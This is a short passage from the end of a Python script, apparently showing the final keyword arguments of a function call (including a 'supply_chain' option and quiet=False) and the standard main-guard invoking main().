supply_chain=args.supply_chain,
quiet=False
)
if __name__ == '__main__':
main()